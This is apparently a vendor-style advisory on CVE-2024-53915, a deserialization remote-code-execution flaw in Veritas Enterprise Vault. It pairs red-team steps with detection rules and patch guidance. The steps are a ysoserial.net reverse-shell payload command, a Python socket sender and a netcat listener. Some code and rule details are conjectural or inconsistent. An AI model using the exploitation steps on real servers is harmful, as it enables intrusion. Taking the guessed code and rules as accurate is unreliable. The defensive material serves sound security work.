CVE-2024-53915

Executive Summary

CVE-2024-53915 is a critical remote code execution (RCE) vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving and compliance solution. The flaw resides in the server’s handling of .NET Remoting traffic, where untrusted data received on a TCP port is deserialized without proper validation. This allows an unauthenticated, remote attacker to execute arbitrary code on the target system with the privileges of the Enterprise Vault service account. The vulnerability has a CVSS score of 9.8, indicating a critical severity level. No public proof-of-concept (PoC) or exploit code has been released at this time, but the risk is high due to the ease of exploitation and the sensitive nature of the data typically managed by Enterprise Vault.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby) but is a proprietary enterprise software component. The risk is primarily to on-premises deployments of Veritas Enterprise Vault.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Complete disclosure of all data on the system.
• Integrity (I): High – Total compromise of system integrity.
• Availability (A): High – Total loss of system availability.

Threat Level: Critical. The combination of network-based, unauthenticated exploitation with no user interaction makes this a high-priority vulnerability for any organization using Veritas Enterprise Vault.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack. Veritas Enterprise Vault uses .NET Remoting for inter-process and network communication. The server listens on a TCP port for incoming .NET Remoting requests. When a client sends a serialized object, the server deserializes it without proper validation of the data type or content.

An attacker can craft a malicious serialized object that, when deserialized, triggers the execution of arbitrary code. This is possible because .NET’s BinaryFormatter (or similar deserializers) can instantiate any object type and set its properties, which can lead to the execution of methods in the object’s constructor or property setters. By chaining specific .NET classes (gadgets), an attacker can achieve full remote code execution.

The specific vulnerable component is the EnterpriseVault.Server service, which handles .NET Remoting requests. The fix in version 15.2 likely involves implementing a custom SerializationBinder to restrict the types that can be deserialized, or switching to a safer serialization method.

Vulnerable vs. Patched Code

Since the exact source code is proprietary, we can only describe the conceptual difference.

Vulnerable Code (Pre-15.2):

// Vulnerable: No type restriction on deserialization
TcpServerChannel channel = new TcpServerChannel(port);
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(EnterpriseVaultService),
    "EnterpriseVaultService",
    WellKnownObjectMode.Singleton);

// In the service method:
public void ProcessRequest(Stream requestStream) {
    BinaryFormatter formatter = new BinaryFormatter();
    // Unsafe deserialization
    object request = formatter.Deserialize(requestStream);
    // Process request...
}

Patched Code (15.2 and later):

// Patched: Using a custom SerializationBinder to restrict types
TcpServerChannel channel = new TcpServerChannel(port);
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(EnterpriseVaultService),
    "EnterpriseVaultService",
    WellKnownObjectMode.Singleton);

// In the service method:
public void ProcessRequest(Stream requestStream) {
    BinaryFormatter formatter = new BinaryFormatter();
    formatter.Binder = new SafeSerializationBinder(); // Custom binder
    // Safe deserialization with type validation
    object request = formatter.Deserialize(requestStream);
    // Process request...
}

// Custom binder implementation
public class SafeSerializationBinder : SerializationBinder {
    public override Type BindToType(string assemblyName, string typeName) {
        // Only allow specific types
        if (typeName.StartsWith("EnterpriseVault.")) {
            return Type.GetType($"{typeName}, {assemblyName}");
        }
        throw new SerializationException("Type not allowed");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: A Windows Server 2019/2022 virtual machine with Veritas Enterprise Vault 15.1 (or earlier) installed and running.
2. Network: Ensure the .NET Remoting port (default 8080, but configurable) is accessible from the attacker machine.
3. Tools: ysoserial.net (a tool for generating .NET deserialization payloads), a C# compiler, and a netcat listener.

Exploitation Steps:

1. Identify the Remoting Port: Use a port scan (e.g., nmap -p 1-65535 <target>) to find the open port used by Enterprise Vault. Common ports include 8080, 8081, or 8443.
2. Generate Payload: Use ysoserial.net to create a malicious serialized object. For example, to execute a reverse shell:

   ysoserial.exe -o raw -f BinaryFormatter -g TextFormattingRunProperties -c "powershell -e <base64_encoded_rev_shell>"
   

   Replace <base64_encoded_rev_shell> with a base64-encoded PowerShell reverse shell command.
3. Send Payload: Use a raw TCP client (e.g., Python, netcat) to send the payload to the target port.

   import socket
   import sys
   
   payload = open("payload.bin", "rb").read()
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect(("target_ip", 8080))
   sock.send(payload)
   sock.close()
   

4. Receive Shell: On your attacker machine, start a netcat listener:

   nc -lvnp 4444
   

   If successful, you will receive a reverse shell with the privileges of the Enterprise Vault service account.

Blue Team (Defensive)

Detection & Response:

1. Monitor Network Traffic: Look for unusual TCP connections to the Enterprise Vault Remoting port from unexpected IP addresses. The traffic may contain large, irregular binary blobs.
2. Enable Logging: Ensure detailed logging is enabled for the Enterprise Vault server. Monitor Windows Event Logs for:
   • Event ID 5000 (Error) or 5001 (Warning) from the .NET Runtime.
   • Unusual process creation events (Event ID 4688) where powershell.exe or cmd.exe is spawned by the Enterprise Vault service.
3. Harden the Service: If possible, restrict network access to the Remoting port using a firewall. Only allow trusted IP addresses.
4. Apply Patch: The primary mitigation is to upgrade to Veritas Enterprise Vault 15.2 or later.

Indicators of Compromise (IOCs)

• Network:
  • Unusual TCP connections to port 8080 (or other configured Remoting ports) from external IPs.
  • Large binary payloads in the TCP stream to the Remoting port.
• Host:
  • Unexpected child processes of EnterpriseVault.Server.exe (e.g., powershell.exe, cmd.exe, rundll32.exe).
  • New files created in the Enterprise Vault installation directory or %TEMP% with suspicious names.
  • Registry modifications under HKLM\SOFTWARE\Veritas\Enterprise Vault.
• Logs:
  • Windows Event Log: .NET Runtime errors (Event ID 1026, 5000) with stack traces mentioning BinaryFormatter.Deserialize.
  • Sysmon Event ID 1 (Process Creation) showing EnterpriseVault.Server.exe spawning powershell.exe.

Detection Engineering

YARA Rule

rule CVE_2024_53915_Deserialization_Payload {
    meta:
        description = "Detects malicious .NET BinaryFormatter payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-53915"
    strings:
        $binary_formatter = { 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 }
        $gadget_textformatting = { 54 65 78 74 46 6F 72 6D 61 74 74 69 6E 67 52 75 6E 50 72 6F 70 65 72 74 69 65 73 }
        $gadget_psobject = { 53 79 73 74 65 6D 2E 4D 61 6E 61 67 65 6D 65 6E 74 2E 41 75 74 6F 6D 61 74 69 6F 6E 2E 50 53 4F 62 6A 65 63 74 }
    condition:
        uint32(0) == 0x00000001 and
        ($binary_formatter at 0) and
        (any of ($gadget*))
}

Sigma Rule

title: CVE-2024-53915 - Veritas Enterprise Vault .NET Deserialization RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-53915 via process creation anomalies
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\EnterpriseVault.Server.exe'
        Image|endswith:
            - '\powershell.exe'
            - '\cmd.exe'
            - '\rundll32.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts run by the Enterprise Vault service
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"CVE-2024-53915 - Veritas Enterprise Vault .NET Deserialization Attempt"; flow:to_server,established; content:"|00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00|"; depth:16; content:"|54 65 78 74 46 6F 72 6D 61 74 74 69 6E 67 52 75 6E 50 72 6F 70 65 72 74 69 65 73|"; within:1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Veritas Enterprise Vault version 15.2 or later. This is the only official fix.
2. Workaround: If immediate patching is not possible, restrict network access to the .NET Remoting port (default 8080) using a firewall. Only allow connections from trusted IP addresses.
3. Monitoring: Implement the detection rules provided above to identify potential exploitation attempts.
4. Least Privilege: Ensure the Enterprise Vault service account has the minimum necessary privileges. Avoid running the service as a domain administrator.
5. Backup: Ensure recent backups of the Enterprise Vault configuration and data are available in case of a compromise.

Valters IT
Securing Digital Frontiers